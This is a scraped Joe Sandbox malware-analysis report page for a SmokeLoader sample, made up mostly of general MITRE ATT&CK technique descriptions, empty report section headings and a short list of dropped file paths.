Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lgX7lgUL1w.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2495.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29D5.tmp.txt

C:\ProgramData\Microsoft\Windows\WER\Temp\WER43C2.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WER46D0.tmp.csv

Windows Analysis Report
lgX7lgUL1w.exe

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre